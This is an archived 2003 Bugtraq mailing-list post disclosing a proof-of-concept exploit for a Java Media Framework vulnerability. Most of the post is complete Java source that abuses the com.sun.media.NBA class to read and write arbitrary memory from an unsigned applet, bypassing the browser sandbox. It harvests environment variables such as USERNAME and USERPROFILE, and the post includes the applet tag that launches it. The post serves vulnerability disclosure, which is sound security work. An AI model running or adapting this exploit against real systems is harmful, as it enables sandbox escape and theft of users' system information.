Privilege escalation applet, Java Media Framework

From: Marc Schoenefeld (schonef@uni-muenster.de)
Date: Tue Jun 24 2003 - 16:10:03 PDT

  • Next message: Conectiva Updates: "[CLA-2003:662] Conectiva Security Announcement - ethereal"

    -----BEGIN PGP SIGNED MESSAGE-----
    Hash: SHA1
    
    Hi Bugtraqqers,
    
    this is the proof-of-concept code for the vulnerability
    described in http://sunsolve.sun.com/pub-cgi/retrieve.pl?doc=fsalert%2F54760
    
    The code shows that there is more in this vulnerability than
    crash the vm, it allows to read and write SYSTEM memory from
    an UNSIGNED applet therefore bypassing the sandbox.
    To test it try the applet with java media framework 2.1.1.c
    installed, Version 2.1.1.e is patched.
    
    For a test you need to compile the source with
    the jmf classes in classpath and construct some html page to
    call the ReadEnv class, something like ...
    
    <applet code=ReadEnv.class></applet>
    
    Use the educational code included at your own risk, it
    might crash your browser. The code itself demonstrates how
    to read your system environment from an applet in the
    lucky case of having jmf installed !
    
    Sincerely
    
    Marc Schoenefeld
    www.illegalaccess.org
    
    
    /*
    Proof-Of-Concept: Read Environment via vulnerability Java Media Framework
    (2003) Marc Schoenefeld, www.illegalaccess.org
    
    */
    
    import com.sun.media.NBA;
    import java.applet.Applet;
    import java.awt.Graphics;
    import javax.swing.JOptionPane;
    class NBAFactory {
    
    		public static String getEnv(String a,long from, long to) {
    			long pos = findMem(a,from,to);
    			String ret = "";
    			if (pos  != -1) {
    				long pos2 = pos+a.length();
    				ret = getString(pos2);
    			}
    			return ret;
    		}
    
    		public static String getString(long pos) {
    			int i = 0;
    			StringBuffer b = new StringBuffer();
    			char x = 0;
    			do {
    				x = (char) readMem(pos+i);
    				i++;
    				if (x != 0)
    				b.append(x);
    
    			} while (!(x == 0));
    			return b.toString();
    		}
    
    		public static long findMem(String a, long from , long to)  {
    			char[] ch = a.toCharArray();
    			for (long pos = from; pos < to ;pos++) {
    //				System.out.println(pos-from+":");
    				int i = 0;
    				int found = 0;
    				for (i = 0; i < ch.length; i++) {
    					char x = (char) readMem(pos+i);
    //					System.out.println(pos+":"+x);
    					if (x == ch[i]) {
    						found ++;
    					}
    					else
    					   break;
    				}
    				if (found == ch.length) {
    					return pos;
    				}
    			}
    			return -1;
    		}
    
    		public static byte readMem(long i) {
    			byte[] by = new byte[1];
    			NBA searcher = new NBA(byte[].class,1);
    			long olddata = searcher.data;
    			searcher.data = i;
    			searcher.size = 1;
    			searcher.copyTo(by);
    			searcher.data = olddata; // keep the finalizer happy
    			return by[0];
    		}
    
    		public static void setMem(long i, char c) {
    			NBA b = new NBA(byte[].class,1);
    			long olddata = b.data;
    			b.data = i;
    			b.size = 1;
    			theBytes[c].copyTo(b);
    			b.data  = olddata; // keep the finalizer happy
    		}
    
    		public static void setMem(long i, byte by) {
    			setMem(i,(char) by);
    		}
    
    
    		public static void setMem(long i, int by) {
    			setMem(i,(char) by);
    		}
    
    
    		public static void setMem(long l, String s) {
    			char[] theChars = s.toCharArray();
    			NBA b = new NBA(byte[].class,1);
    			long olddata = b.data;
    			for (int i = 0 ; i  < theChars.length; i++) {
    				b.data = l+i;
    				b.size = 1;
    				theBytes[theChars[i]].copyTo(b);
    			}
    			b.data  = olddata; // keep the finalizer happy
    		}
    
    
    		private NBAFactory() {
    		}
    		public static NBA getByte(char i) {
    			return theBytes[i];
    		}
    
    		public static NBA getByte(int i) {
    			return theBytes[(char) i];
    		}
    
    		public static NBA[] getBytes() {
    			return theBytes;
    		}
    
    		static NBA[] theBytes = new NBA[256];
    		static {
    			for (char i = 0; i < 256; i++) {
    //				System.out.println((byte)i);
    				NBA n = search(i,0x6D340000L, 0x6D46A000L);
    				if (n!=null)
    					theBytes[i]= n;
    				else
    					System.exit(-1);
    			}
    		}
    
    		static NBA search (char theChar,long start, long end) {
    			NBA ret = null;
    			NBA searcher = new NBA(byte[].class,1);
    			byte[] ba = new byte[1];
    			for (long i = start; i < end ; i++) {
    //				byte b = readMem(i);
    				searcher.data = i;
    				searcher.copyTo(ba);
    //				if ( b == (byte)theChar) {
    				if ( ba[0] == (byte)theChar) {
    					return searcher;
    				}
    			}
    			return null;
    		}
    	}
    
    public class ReadEnv extends Applet{
    
    	static NBA base = new NBA(byte[].class,18);  // what's the base pointer ?
    
    
    
    	public static void crash(Object o) {
    
    	  System.out.println("Proof-Of-Concept: Read Environment via vulnerability Java Media Framework");
    
    	  System.out.println("(2003) Marc Schoenefeld, www.illegalaccess.org");
    
    
    	  NBA ret = new NBA(byte[].class,4);
    	  long oldret = ret.data;
    
     	  System.out.println("Base of data: "+Long.toString(base.data,16));
    
    	  String[] envs = {"USERDOMAIN","USERNAME","USERPROFILE","CLASSPATH",
    	  	"TEMP","COMSPEC","JAVA_HOME","Path","INCLUDE"};
    
    	  for (int i = 0; i < envs.length; i++) {
    	  	String val = NBAFactory.getEnv(envs[i],base.data,base.data+32768);
    	  	if (!(o instanceof Applet)) {
    	  		System.out.println(envs[i]+":"+val);
    		}
    		else {
    			javax.swing.JOptionPane.showMessageDialog((java.applet.Applet) o,envs[i]+":"+val);
    		}
    	  }
    
    
    	  //NBAFactory.setMem(pos+10,'A');
    	  try {
              System.out.println(System.getProperty("java.class.path"));
    	  java.util.Properties p = System.getProperties();
    
    	  p.list(System.out);
    	  }
    	  catch (java.security.AccessControlException e) {
    	  	System.out.println("Cannot read environment via getProperties:"+e);
    	  }
    
    	  //System.out.println(pos);
    
    	  //long pos2 = NBAFactory.findMem("mixed",base.data,base.data+6614096);
    	  //System.out.println(pos2);
    
    
    	  //byte[] x11 = new byte[8];
    	  //ret.copyTo(x11);
    	  //for (int i = 0; i < x11.length; i++) {
    	  //	System.out.println(i+":"+x11[i]+(char)x11[i]);
    	  //}
    
    
    
    	  ret.data = oldret;
    
    	  //ret.data = 0xffff8000;
    
    	  //ret.finalize();
    	  //ret.finalize();
    
    	  //NBAFactory.setMem(ret.data-0xffff8000,33);
    
    
    	  //ret.finalize();
    
    	  /*b.data = base.data;
    	  b.size = 16384;*/
    
    	  /*byte[] ba3 = new byte[16384];
     	  b.copyTo(ba3);
    	  for (int i = 0; i < ba3.length; i++) {
    	  	System.out.println(new Integer(i).toString(i,16)+":"+ba3[i]+(char)ba3[i]);
    	  }*/
    
              /*b.data = olddata;*/
    
    
    
    	}
    
    	public static void main(String[] a) {
    		crash(null);
    	}
    
    	public void paint(Graphics g) {
    
    		if (init == 0) {
    			init=1;
    			crash(this);
    		}
    	}
    
    	static int init = 0;
    }
    
    
    - --
    
    Never be afraid to try something new. Remember, amateurs built the
    ark; professionals built the Titanic. -- Anonymous
    
    Marc Schönefeld Dipl. Wirtsch.-Inf. / Software Developer
    -----BEGIN PGP SIGNATURE-----
    Version: GnuPG v1.0.6 (AIX)
    Comment: For info see http://www.gnupg.org
    
    iD8DBQE++NpOqCaQvrKNUNQRAr9CAJ0cp6KYoZbIcpvSMYERu705J2UsoQCdHSes
    ZrmYPk58wzmYlS9McwyLw3s=
    =yVd6
    -----END PGP SIGNATURE-----
    



    This archive was generated by hypermail 2b30 : Wed Jun 25 2003 - 10:28:08 PDT